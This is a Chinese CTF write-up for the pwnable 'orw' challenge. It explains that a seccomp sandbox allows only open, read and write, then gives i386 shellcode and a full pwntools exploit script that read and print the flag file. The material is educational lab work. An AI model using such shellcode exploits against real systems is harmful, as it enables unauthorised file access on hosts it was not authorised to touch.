zoukankan      html  css  js  c++  java
  • pwn-pwnable_orw(seccomp&orw)

    checksec:

     题目明示shellcode,用户输入后就会直接跳转到输入的位置

     用pwntools的shellcraft生成的shellcode打不通,原因就在于main函数起始位置的orw_seccomp函数

    不是很懂这个函数的操作,最后看了别人的博客才明白seccomp是通过prctl函数实现的一种安全机制,该模式下只允许少量的系统调用。

    详情见https://www.jianshu.com/p/75e157cea215

    使用seccomp-tools工具查看可用的系统调用,下载地址:https://github.com/david942j/seccomp-tools

     open,write和read都可用,所以考虑用这三个函数读取并显示flag文件。

    接下来构造shellcode。

     1 xor ecx,ecx;
     2  xor edx,edx;
     3  push 0x0;        #字符串以x00结尾 
     4  push 0x67616c66; #flag
     5  mov ebx,esp;
     6  mov eax,0x5; 
     7  int 0x80;
     8 #open
     9  mov ebx,0x3; 
    10  mov ecx, 0x0804A0A0; #直接写到shellcode下面的地址
    11  mov edx, 0x40;
    12  mov eax, 0x3;
    13  int 0x80;
    14 #read        
    15  mov ebx, 0x1;
    16  mov ecx, 0x0804A0A0;
    17  mov edx, 0x40;
    18  mov eax, 0x4;
    19  int 0x80;
    #write

    read函数的fd之所以是3,是因为默认情况下,0,1,2这三个句柄对应的是标准输入,标准输出,标准错误,系统进程默认会打开0,1,2这三个文件描述符。所以通常我们open的返回值是从3开始

    完整exp:

    #!/usr/bin/python
    from pwn import *
    from LibcSearcher import *
    #a=remote("node3.buuoj.cn",29862)
    a=process("orw")
    elf=ELF("orw")
    context(arch='i386',os='linux',log_level='debug')
    
    
    shellcode = asm('''
     xor ecx,ecx;
     xor edx,edx;
     push 0x0
     push 0x67616c66;
     mov ebx,esp;
     mov eax,0x5;
     int 0x80;
    
     mov ebx,0x3; 
     mov ecx, 0x0804A0A0;
     mov edx, 0x40;
     mov eax, 0x3;
     int 0x80;
     
     mov ebx, 0x1;
     mov ecx, 0x0804A0A0;
     mov edx, 0x40;
     mov eax, 0x4;
     int 0x80;
                      ''')
    print len(shellcode)
    a.recvuntil("Give my your shellcode:")
    payload=shellcode
    
    a.sendline(payload)
    a.interactive()
  • 相关阅读:
    三大主营业务全面开花 京东方半年报大幅盈利(半年446亿元,同比增长69%,实现净利润43亿元)
    JS几种变量交换
    Vue2
    树的插入、删除、旋转归纳
    从两个不同的ServiceProvider说起
    集中式路由
    MongoDB 可视化管理工具
    服务发布
    Parallel
    NET WebAPi之断点续传下载(下)
  • 原文地址:https://www.cnblogs.com/remon535/p/13820197.html
Copyright © 2011-2022 走看看